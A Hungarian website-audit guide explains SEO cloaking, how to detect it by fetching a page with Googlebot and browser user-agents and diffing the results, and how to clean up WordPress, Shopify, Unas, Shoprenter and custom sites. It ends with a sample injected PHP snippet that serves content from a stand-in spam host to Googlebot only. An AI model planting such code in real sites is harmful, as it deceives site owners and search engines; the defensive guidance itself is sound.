Cloaking

Kereső-oldali következmény

A Google a cloakingot spam-szabálysértésnek tekinti. Manuális intézkedés járhat érte, és ilyenkor nem egy oldal, hanem az egész domain esik ki. A visszaépítés hónapokban mérhető, nem hetekben.

Biztonsági következmény

A cloaking nem hiba, hanem tünet. Ha a kódodban ilyen elágazás fut, azt valaki odatette. Ugyanaz a hozzáférés, amivel ezt beírták, alkalmas adatbázis-olvasásra és fájlfeltöltésre is. A biztonsági átvizsgálás ilyenkor nem opcionális.

Üzleti következmény

A spam-tartalom miatt az oldal bekerülhet a Safe Browsing listákra. A Chrome ekkor piros figyelmeztetést tesz a domain elé. A forgalom nullára esik órák alatt, és a levelezésed kézbesítése is romolhat.

A riportokban ezt látjuk: a tulajdonos hetekig nem vesz észre semmit, mert neki az oldal tökéletesen működik. Az első jel általában a Search Console értesítése vagy a hirtelen forgalomesés.

Kire vonatkozik

• Minden nyilvános weboldalra, ami indexelhető. Céges bemutatkozó, blog, webshop egyaránt.
• Kiemelten a régi WordPress-oldalakra. Az elavult plugin- és mag-verziók adják a támadási felületet.
• Olcsó shared tárhelyen futó oldalakra. Egy fertőzött fiók a szomszéd oldalakat is elérheti.
• Egyedi fejlesztésű oldalakra, ahol saját middleware vagy cache-réteg fut.

Kire nem vonatkozik

• Zárt, jelszóval védett rendszerekre, amiket egyetlen robot sem ér el.
• Staging és fejlesztői környezetekre, ha noindex és HTTP-hitelesítés védi őket.
• Az A/B tesztekre, amennyiben a variánsokat véletlenszerűen, nem bot-azonosítás alapján osztod.

A Shopify és a hazai dobozos rendszerek felhasználői ritkábban érintettek. Ott a sablonszintű kód nem fér hozzá a kiszolgáló logikájához. Ez viszont nem zárja ki, hogy egy rosszindulatú app vagy beillesztett script okozzon eltérést.

Lépések

1. Kérd le az oldalt böngészőként. Nyisd meg a kezdőlapot, és nézd meg a forrást (Ctrl+U).
2. Kérd le Googlebot user-agenttel. Használj curl-t vagy a devtools Network Conditions paneljét, ahol átírhatod a user-agentet.
3. Hasonlítsd össze a két HTML-t. Mentsd ki mindkettőt fájlba, és futtass rajtuk diff-et.
4. Nézd meg a Search Console URL-ellenőrzését. A "Tesztelt oldal megtekintése" mutatja a Google által letöltött HTML-t.
5. Keress rá gyanús kulcsszavakra. A site:domain.hu keresés az indexben megmutatja a nem odavaló oldalakat.
6. Ellenőrizd a Biztonsági problémák jelentést a Search Console-ban.

Jó jel

• A két HTML lényegében azonos, csak a cache-bélyeg vagy egy nonce tér el.
• A site: keresés kizárólag a saját oldalaidat hozza.
• A Search Console renderelt képe megegyezik azzal, amit a böngészőben látsz.

Rossz jel

• A bot-nézetben idegen nyelvű blokkok vagy kimenő linkek vannak.
• A bot-nézet HTML-je jelentősen hosszabb a látogatóinál.
• A forrásban display:none alá rejtett linkhalmaz ül.
• A site: keresés gyógyszer-, kaszinó- vagy hamis márkaoldalakat mutat.
• A Search Console biztonsági figyelmeztetést jelez.

Mit néz ebből a riport

Az audit a kezdőoldalt kétszer kéri le: egyszer Googlebot user-agenttel, egyszer sima böngészőként. A két válasz lényegi eltérését kritikus hibaként jelzi. A hatókör kód, mert a különbséget a kiszolgáló vagy a sablon állítja elő. A riport ajánlása egyértelmű: ha a Googlebot más tartalmat kap, azonnali kódvizsgálat és takarítás kell.

WordPress

1. Kapcsold ki az oldalt vagy tedd karbantartásba, amíg vizsgálódsz.
2. Nézd át a wp-config.php, az index.php és a .htaccess fájlokat. A beszúrt kód általában a fájl elején vagy végén ül.
3. Keress user-agent vizsgálatot a témában és a mu-plugins könyvtárban: grep -ri "googlebot" wp-content/.
4. Cseréld le a mag-fájlokat friss letöltésből. Csak a wp-content maradjon.
5. Távolítsd el az ismeretlen plugineket, és frissítsd a maradékot.
6. Cserélj minden jelszót: admin, FTP, adatbázis, tárhely-fiók.
7. Kérj újravizsgálatot a Search Console-ban, ha volt manuális intézkedés.

Shopify

1. Nézd át a telepített appokat, és töröld az ismeretleneket.
2. Ellenőrizd a theme.liquid-et beszúrt script-tagekre.
3. Nézd meg a Script tags API-n keresztül betöltött kódokat.
4. Vond vissza a gyanús alkalmazások hozzáférését.

Unas

1. Ellenőrizd a saját HTML-blokkokat és a fejléc-lábléc sablonmezőket.
2. Nézd át a beillesztett külső scripteket.
3. Jelezd a támogatásnak, ha az eltérés a rendszer szintjén jelenik meg.

Shoprenter

1. Nyisd meg a sablon-szerkesztőt, és keress ismeretlen kódrészletet.
2. Ellenőrizd a beépülő scripteket a beállításokban.
3. Kérj naplórészletet a szolgáltatótól, ha jogosulatlan belépést gyanítasz.

Egyedi fejlesztés

1. Keress user-agent elágazást a middleware-ekben és a cache-rétegben.
2. Vizsgáld a reverse proxy konfigurációt (nginx, Varnish, Cloudflare Workers).
3. Futtass git status-t és git diff-et a deploy-könyvtárban.
4. Nézd át a hozzáférési naplókat az első spam-kérés időpontja körül.
5. Építs újra tiszta forrásból, ne foltozz.

A takarítás után hetekig figyeld az indexet. A spam-oldalak újra megjelenhetnek, ha a belépési pont megmaradt.

• Csak a tüneti oldalakat törlik. A spam-URL-ek eltűnnek, a hátsó kapu marad, és pár nap múlva minden visszajön.
• Nem cserélnek jelszót a takarítás után. A támadó ugyanazzal a hozzáféréssel tér vissza.
• Elhiszik, hogy nincs baj, mert a böngészőben minden rendben. A cloaking lényege pont az, hogy a tulajdonos nem látja.
• A robots.txt-vel próbálják elrejteni a spam-oldalakat. A robots.txt a feltérképezést tiltja, a már indexelt URL-ek bent maradnak.
• Összekeverik a személyre szabást a cloakinggal. Nyelvi vagy eszköz szerinti eltérés miatt fölöslegesen átépítik a működő logikát.
• Nem nézik meg a szerveroldali cache-t. Egy megmérgezett cache-bejegyzés a tiszta kód mellett is spamet szolgál ki.
• Kihagyják a Search Console biztonsági jelentését. Ott áll a legpontosabb információ arról, mit talált a Google.

Két lekérés, két user-agent. A különbség azonnal látszik:

curl -sA "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" \
  https://pelda.hu/ > bot.html

curl -sA "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 \
  (KHTML, like Gecko) Chrome/120.0 Safari/537.36" https://pelda.hu/ > user.html

diff <(wc -c < bot.html) <(wc -c < user.html)
diff bot.html user.html | head -50

Ha a méretek között több tíz kilobájt az eltérés, az riasztó. Nézd meg a diff kimenetét soronként.

Egy tipikus beszúrt PHP-részlet így néz ki:

$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
if (strpos($ua, 'googlebot') !== false) {
    echo file_get_contents('https://spam-szerver.example/payload.txt');
}

A minta mindig ugyanaz: user-agent vizsgálat, majd külső forrásból betöltött tartalom. Ha ilyet találsz a kódbázisban, az nem konfigurációs hiba.